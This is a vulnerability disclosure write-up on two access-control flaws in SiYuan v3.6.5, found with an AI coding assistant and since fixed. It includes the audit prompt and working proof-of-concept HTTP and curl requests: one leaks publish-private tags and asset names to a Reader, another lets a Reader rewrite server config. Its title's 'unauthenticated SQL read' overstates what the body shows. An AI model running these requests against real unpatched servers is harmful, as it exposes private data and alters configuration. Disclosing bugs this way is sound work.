Two Access-Control Failures in SiYuan: Unauthenticated SQL Read and a Read-Only Role That Can Rewrite Server Config

I. Introduction
SiYuan is an open-source, privacy-first personal knowledge management tool. It lets users write in Markdown with block-level references, store everything in a local SQLite block database, and optionally run a publish service that exposes a workspace through a reverse proxy to outside visitors.
With SiYuan, a workspace owner can share selected notebooks publicly while keeping others private. Visitors to the publish service are given a low-privilege Reader role; the workspace owner is Administrator. The Reader role is the security boundary of the whole publish feature a Reader should only see what the owner chose to publish, and should never be able to change server state.
Vulnerable Version: SiYuan v3.6.5
Advisory: https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g (CVE-2026-45148)
Advisory: https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2 (CVE-2026-45147)
II. Target selection
After browsing GitHub Trending for a while, I happened upon SiYuan.
Reading a few basic pieces of information, it seemed like a fairly promising target because the kernel is written in Go, exposes a very large HTTP API (hundreds of endpoints under /api/...), talks directly to a SQLite database and the filesystem, and ships a hand-rolled three-role permission system (Administrator / Editor / Reader) for its publish mode. Whenever a custom role system is wired by hand across a few hundred endpoints, there is usually at least one endpoint where the guard was forgotten and often a whole class of that mistake. The project also already had a /security advisory page, and one prior advisory (GHSA-c77m-r996-jr3q) had patched the publish boundary on exactly one handler, which is a very loud hint that its siblings were never patched.
III. Finding
After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:
Claude CLI
Model: Claude Sonnet 4-6
I used the following prompt (I also used AI to generate this prompt based on the application's source code and middleware design):
Your task is to audit this SiYuan codebase.
CONTEXT:
Roles: Administrator, Editor, Reader. Reader == anonymous publish visitor. A Reader must not see publish-private data and must not write server state.
Is the dangerous path actually reachable for a Reader? Does any in-handler check gate the SINK, or only the response body after a side-effect already ran? Does the param parser reject the type before the sink?
Output format:
## Candidate N
- Vulnerability type
- Reachable endpoint
- Source
- Sink
- Vulnerable code
- Why the guard is missing / bypassed
- Reader-role PoC
- Impact
- Confidence level
At the end, rank findings by exploitability and clearly separate confirmed broken access control from suspicious code.
After that, the AI produced a result showing it had found broken access control in a search function and, because the prompt asked it to diff every handler in a file against its siblings, it found a second instance in the tag file in the same pass. Both are the same root cause: a handler that forgot the access-control treatment its file-siblings already apply. One lets a Reader read data they shouldn't; the other lets a Reader write data they shouldn't.
The first is in kernel/api/search.go. Four search endpoints are registered with CheckAuth only which the publish RoleReader JWT passes (correctly; these are meant to be Reader-reachable):
kernel/api/router.go:181-190
ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset)
The bug is in the handler bodies. Their peers in the very same file filter results through the publish boundary; these four don't:
kernel/api/search.go
listInvalidBlockRefs (:29-65) -> DOES filter:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
getAssetContent (:67-93) -> DOES filter
getEmbedBlock (:250-285) -> DOES filter
searchAsset (:156-176) -> NO filter: ret.Data = model.SearchAssetsByName(k, exts)
searchTag (:178-196) -> NO filter: tags := model.SearchTags(k)
searchWidget (:198-213) -> NO filter: widgets := model.SearchWidget(keyword)
searchTemplate (:233-248) -> NO filter: templates := model.SearchTemplate(keyword)
SearchAssetsByName, SearchTags, SearchWidget, SearchTemplate all run over the entire workspace, not the publish-visible subset and a FilterTagsByPublishIgnore helper already exists in the codebase, confirming the maintainers' intent. These four were simply missed when the publish boundary was patched on getBookmark in GHSA-c77m-r996-jr3q.
I set up the publish service, marked one notebook private to publish, obtained a RoleReader JWT from the publish reverse proxy, and verified it. Here is the vulnerable request:
POST /api/search/searchTag HTTP/1.1
Host: <publish-host>
Authorization: Bearer <reader-jwt>
Content-Type: application/json
{"k":""}
It returns every tag in the workspace, including tags that exist only inside the publish-private notebook. The same unauthorized global read works for searchAsset (all asset filenames CV.pdf, contract.docx, salary-2026.xlsx, regardless of source notebook), searchWidget, and searchTemplate:
curl -X POST https://<publish-host>/api/search/searchAsset \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' -d '{"k":""}'
# -> global asset filenames, no FilterAssetContentByPublishAccess applied
While verifying that, the same file-diff technique pointed at kernel/api/tag.go. The three tag routes do not share a middleware chain:
kernel/api/router.go
170 POST /api/tag/getTag model.CheckAuth
171 POST /api/tag/renameTag model.CheckAuth, model.CheckAdminRole, model.CheckReadonly
172 POST /api/tag/removeTag model.CheckAuth, model.CheckAdminRole, model.CheckReadonly
renameTag/removeTag are locked to admin + non-readonly. getTag whose name says read-only has only CheckAuth, which a Reader passes. And getTag hides a write path:
kernel/api/tag.go:28-64
func getTag(c *gin.Context) {
...
if nil != arg["sort"] {
sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
if !ok { return }
model.Conf.Tag.Sort = int(sortVal) // mutate GLOBAL config
model.Conf.Save() // persist conf.json to DISK
}
tags := model.BuildTags(ignoreMaxListHint, app)
if model.IsReadOnlyRoleContext(c) { // filters the RESPONSE only
...
}
ret.Data = tags
}
The developer was aware of the Reader role here IsReadOnlyRoleContext(c) is right there but it only filters the response body; the config-write branch runs before it, gated by nothing, and the route has no CheckAdminRole/CheckReadonly to fall back on. Here is the vulnerable request (Reader or read-only Editor session):
POST /api/tag/getTag HTTP/1.1
Host: target:6806
Content-Type: application/json
Cookie: <reader-session>
{"sort": 7}
Exec to the container to check the result on disk:
$ docker exec siyuan grep -A2 '"tag"' /siyuan/workspace/conf/conf.json
"tag": {
"sort": 7
},
A read-only role rewrote persistent server configuration on disk, surviving restart and applying to every other client of the workspace. Conf.Save() serialises and rewrites the entire conf.json, so unauthorized concurrent writes through this path can also race and clobber unrelated settings. Because the sibling write endpoints in the same file are correctly protected, this is unmistakably a forgotten guard, not a design choice.
I submitted both bugs shortly afterwards; SiYuan issued a hotfix (adding the publish filter to the four search handlers and the missing CheckAdminRole/CheckReadonly to the tag route, plus removing the write side-effect from a "get" handler), released v3.7.0, and requested that CVEs be assigned.
IV. Timeline
May 6 2026: Submit both bugs on the repository (publish-mode metadata enumeration in /api/search/{searchTag,searchAsset,searchWidget,searchTemplate}, and Reader-writable config in /api/tag/getTag).
May 8 2026: SiYuan team verify, fix in v3.7.0, open the security advisories and assign CVE-2026-45148 (GHSA-fmh9-gpqh-g53g) and CVE-2026-45147 (GHSA-6r88-8v7q-q4p2). Credited reporter: StarPlatinu.




![[CVE-2026-34612] AI-Assisted Discovery of SQL Injection Leading to RCE in Kestra v1.3.2](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fb524a566-1628-4c53-8b67-c2c37a822717.png&w=3840&q=75)
